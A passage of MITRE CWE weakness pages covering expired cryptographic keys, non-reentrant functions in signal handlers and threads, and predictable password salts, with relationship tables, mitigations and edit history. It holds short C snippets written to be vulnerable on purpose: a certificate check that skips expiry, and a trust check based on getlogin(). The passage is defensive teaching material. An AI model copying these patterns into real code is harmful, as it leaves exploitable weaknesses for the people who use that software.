[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-284] Paul F. Roberts. "Microsoft Scraps Old Encryption in New Code". 2005-09-15. <https://www.eweek.com/security/microsoft-scraps-old-encryption-in-new-code/>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 8, "Cryptographic Foibles" Page 259. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 21: Using the Wrong Cryptography." Page 315. McGraw-Hill. 2010.
[REF-287] Johannes Ullrich. "Top 25 Series - Rank 24 - Use of a Broken or Risky Cryptographic Algorithm". SANS Software Security Institute. 2010-03-25. <https://www.sans.org/blog/top-25-series-use-of-a-broken-or-risky-cryptographic-algorithm/>. URL validated: 2023-04-07.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Insufficient or Obsolete Encryption", Page 44. 1st Edition. Addison Wesley. 2006.
[REF-962] Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". ASCSM-CWE-327. 2016-01. <http://www.omg.org/spec/ASCSM/1.0/>.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
[REF-1192] Information Technology Laboratory, National Institute of Standards and Technology. "FIPS PUB 140-3: SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2019-03-22. <https://csrc.nist.gov/publications/detail/fips/140/3/final>.
[REF-1283] Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022-06-20. <https://www.forescout.com/resources/ot-icefall-report/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Contributions
Contribution DateContributorOrganization
2019-12-10Parbati K. MannaIntel Corporation
Provide a hardware-specific submission whose contents were integrated into this entry, affecting extended description, applicable platforms, demonstrative examples, and mitigations
+ Modifications
Modification DateModifierOrganization
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Background_Details, Common_Consequences, Description, Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Observed_Examples, Potential_Mitigations, References, Relationships
2009-03-10CWE Content TeamMITRE
updated Potential_Mitigations
2009-07-27CWE Content TeamMITRE
updated Maintenance_Notes, Relationships
2009-10-29CWE Content TeamMITRE
updated Relationships
2009-12-28CWE Content TeamMITRE
updated References
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-04-05CWE Content TeamMITRE
updated Applicable_Platforms, Potential_Mitigations, Related_Attack_Patterns
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Detection_Factors, Potential_Mitigations, References, Relationships
2010-09-27CWE Content TeamMITRE
updated Potential_Mitigations, Relationships
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples, Description
2011-06-01CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Relationships
2014-02-18CWE Content TeamMITRE
updated Related_Attack_Patterns
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Likelihood_of_Exploit, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Relationships
2019-01-03CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Detection_Factors, Maintenance_Notes, Relationships
2021-03-15CWE Content TeamMITRE
updated References
2021-10-28CWE Content TeamMITRE
updated Maintenance_Notes, Potential_Mitigations, Relationships
2022-04-28CWE Content TeamMITRE
updated Relationships
2022-10-13CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Background_Details, Demonstrative_Examples, Description, Maintenance_Notes, Modes_of_Introduction, Observed_Examples, Potential_Mitigations, References, Taxonomy_Mappings, Time_of_Introduction
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Using a Broken or Risky Cryptographic Algorithm

CWE-324: Use of a Key Past its Expiration Date

Weakness ID: 324
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key.
+ Extended Description
While the expiration of keys does not necessarily ensure that they are compromised, it is a significant concern that keys which remain in use for prolonged periods of time have a decreasing probability of integrity. For this reason, it is important to replace keys within a period of time proportional to their strength.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.672Operation on a Resource after Expiration or Release
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.298Improper Validation of Certificate Expiration
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.262Not Using Password Aging
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.255Credentials Management Errors
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.310Cryptographic Issues
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.320Key Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism; Gain Privileges or Assume Identity

The cryptographic key in question may be compromised, providing a malicious user with a method for authenticating as the victim.
+ Likelihood Of Exploit
Low
+ Demonstrative Examples

Example 1

The following code attempts to verify that a certificate is valid.

(bad code)
Example Language:
if (cert = SSL_get_peer_certificate(ssl)) {
foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || (X509_V_ERRCERT_NOT_YET_VALID==foo))

//do stuff
}

The code checks if the certificate is not yet valid, but it fails to check if a certificate is past its expiration date, thus treating expired certificates as valid.

+ Observed Examples
ReferenceDescription
Picture Archiving and Communication System (PACS) system for hospitals uses a cryptographic key or password past its expiration date
+ Potential Mitigations

Phase: Architecture and Design

Adequate consideration should be put in to the user interface in order to notify users previous to the key's expiration, to explain the importance of new key generation and to walk users through the process as painlessly as possible.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.959SFP Secondary Cluster: Weak Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUsing a key past its expiration date
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 23: Improper Use of PKI, Especially SSL." Page 347. McGraw-Hill. 2010.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Observed_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Using a Key Past its Expiration Date

CWE-663: Use of a Non-reentrant Function in a Concurrent Context

Weakness ID: 663
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product calls a non-reentrant function in a concurrent context in which a competing code sequence (e.g. thread or signal handler) may have an opportunity to call the same function or otherwise influence its state.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.479Signal Handler Use of a Non-reentrant Function
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.558Use of getlogin() in Multithreaded Application
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1265Unintended Reentrant Invocation of Non-reentrant Code Via Nested Calls
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.557Concurrency Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Confidentiality
Other

Technical Impact: Modify Memory; Read Memory; Modify Application Data; Read Application Data; Alter Execution Logic

+ Demonstrative Examples

Example 1

In this example, a signal handler uses syslog() to log a message:

(bad code)
 
char *message;
void sh(int dummy) {
syslog(LOG_NOTICE,"%s\n",message);
sleep(10);
exit(0);
}
int main(int argc,char* argv[]) {
...
signal(SIGHUP,sh);
signal(SIGTERM,sh);
sleep(10);
exit(0);
}
If the execution of the first call to the signal handler is suspended after invoking syslog(), and the signal handler is called a second time, the memory allocated by syslog() enters an undefined, and possibly, exploitable state.

Example 2

The following code relies on getlogin() to determine whether or not a user is trusted. It is easily subverted.

(bad code)
Example Language:
pwd = getpwnam(getlogin());
if (isTrustedGroup(pwd->pw_gid)) {
allow();
} else {
deny();
}
+ Observed Examples
ReferenceDescription
unsafe calls to library functions from signal handler
SIGCHLD signal to FTP server can cause crash under heavy load while executing non-reentrant functions like malloc/free.
+ Potential Mitigations

Phase: Implementation

Use reentrant functions if available.

Phase: Implementation

Add synchronization to your non-reentrant function.

Phase: Implementation

In Java, use the ReentrantLock Class.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-547] SUN. "Java Concurrency API". Class ReentrantLock. <https://docs.oracle.com/javase/1.5.0/docs/api/java/util/concurrent/locks/ReentrantLock.html>. URL validated: 2023-04-07.
[REF-548] Dipak Jha, Software Engineer, IBM. "Use reentrant functions for safer signal handling". <https://archive.ph/rl1XR>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2008-04-11
(CWE Draft 9, 2008-04-11)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated References, Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, References
2009-03-10CWE Content TeamMITRE
updated Related_Attack_Patterns
2010-09-27CWE Content TeamMITRE
updated Name, Observed_Examples, Potential_Mitigations, References, Relationships
2010-12-13CWE Content TeamMITRE
updated Description, Name, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Observed_Examples
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Common_Consequences
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2010-09-27Use of a Non-reentrant Function in an Unsynchronized Context
2010-12-13Use of a Non-reentrant Function in a Multithreaded Context

CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID: 760
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the product uses a predictable salt as part of the input.
+ Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.916Use of Password Hash With Insufficient Computational Effort
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1013Encrypt Data
+ Background Details
In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
Blogging software uses a hard-coded salt when calculating a password hash.
Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.
Server uses a constant salt when encrypting passwords, simplifying brute force attacks.
chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
+ Potential Mitigations

Phase: Architecture and Design

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [REF-291], scrypt [REF-292], and PBKDF2 [REF-293]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Effectiveness: High

Phase: Implementation

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Effectiveness: Limited

Note: Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.958SFP Secondary Cluster: Broken Cryptography
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1346OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1402Comprehensive Categorization: Encryption
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.
+ References
[REF-291] Johnny Shelley. "bcrypt". <http://bcrypt.sourceforge.net/>.
[REF-292] Colin Percival. "Tarsnap - The scrypt key derivation function and encryption utility". <http://www.tarsnap.com/scrypt.html>.
[REF-293] B. Kaliski. "RFC2898 - PKCS #5: Password-Based Cryptography Specification Version 2.0". 5.2 PBKDF2. 2000. <https://www.rfc-editor.org/rfc/rfc2898>. URL validated: 2023-04-07.
[REF-294] Coda Hale. "How To Safely Store A Password". 2010-01-31. <https://codahale.com/how-to-safely-store-a-password/>. URL validated: 2023-04-07.
[REF-295] Brian Krebs. "How Companies Can Beef Up Password Security (interview with Thomas H. Ptacek)". 2012-06-11. <https://krebsonsecurity.com/2012/06/how-companies-can-beef-up-password-security/>. URL validated: 2023-04-07.
[REF-296] Solar Designer. "Password security: past, present, future". 2012. <https://www.openwall.com/presentations/PHDays2012-Password-Security/>. URL validated: 2023-04-07.
[REF-297] Troy Hunt. "Our password hashing has no clothes". 2012-06-26. <https://www.troyhunt.com/our-password-hashing-has-no-clothes/>. URL validated: 2023-04-07.
[REF-298] Joshbw. "Should we really use bcrypt/scrypt?". 2012-06-08. <https://web.archive.org/web/20120629144851/http://www.analyticalengine.net/2012/06/should-we-really-use-bcryptscrypt/>. URL validated: 2023-04-07.
[REF-631] OWASP. "Password Storage Cheat Sheet". <https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html>. URL validated: 2023-04-07.
[REF-632] Thomas Ptacek. "Enough With The Rainbow Tables: What You Need To Know About Secure Password Schemes". 2007-09-10. <http://hashphp.org/hashing.html>. URL validated: 2023-04-07.
[REF-633] Robert Graham. "The Importance of Being Canonical". 2009-02-02. <https://blog.erratasec.com/2009/02/importance-of-being-canonical.html#.ZCbyY7LMJPY>. URL validated: 2023-04-07.
[REF-634] James McGlinn. "Password Hashing". <https://privacyaustralia.net/phpsec/articles/password-hashing/>. URL validated: 2023-04-07.
[REF-635] Jeff Atwood. "Rainbow Hash Cracking". 2007-09-08. <https://blog.codinghorror.com/rainbow-hash-cracking/>. URL validated: 2023-04-07.
[REF-636] Jeff Atwood. "Speed Hashing". 2012-04-06. <https://blog.codinghorror.com/speed-hashing/>. URL validated: 2023-04-07.
[REF-637] "Rainbow table". Wikipedia. 2009-03-03. <https://en.wikipedia.org/wiki/Rainbow_table>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "Creating a Salted Hash" Page 302. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 2, "Salt Values", Page 46. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2009-03-03
(CWE 1.3, 2009-03-10)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2009-10-29CWE Content TeamMITRE
updated Observed_Examples, Relationships
2010-02-16CWE Content TeamMITRE
updated References
2011-03-29CWE Content TeamMITRE
updated Observed_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations, References
2013-02-21CWE Content TeamMITRE
updated Description, Potential_Mitigations, References, Relationships, Type
2014-02-18CWE Content TeamMITRE
updated Potential_Mitigations, References
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
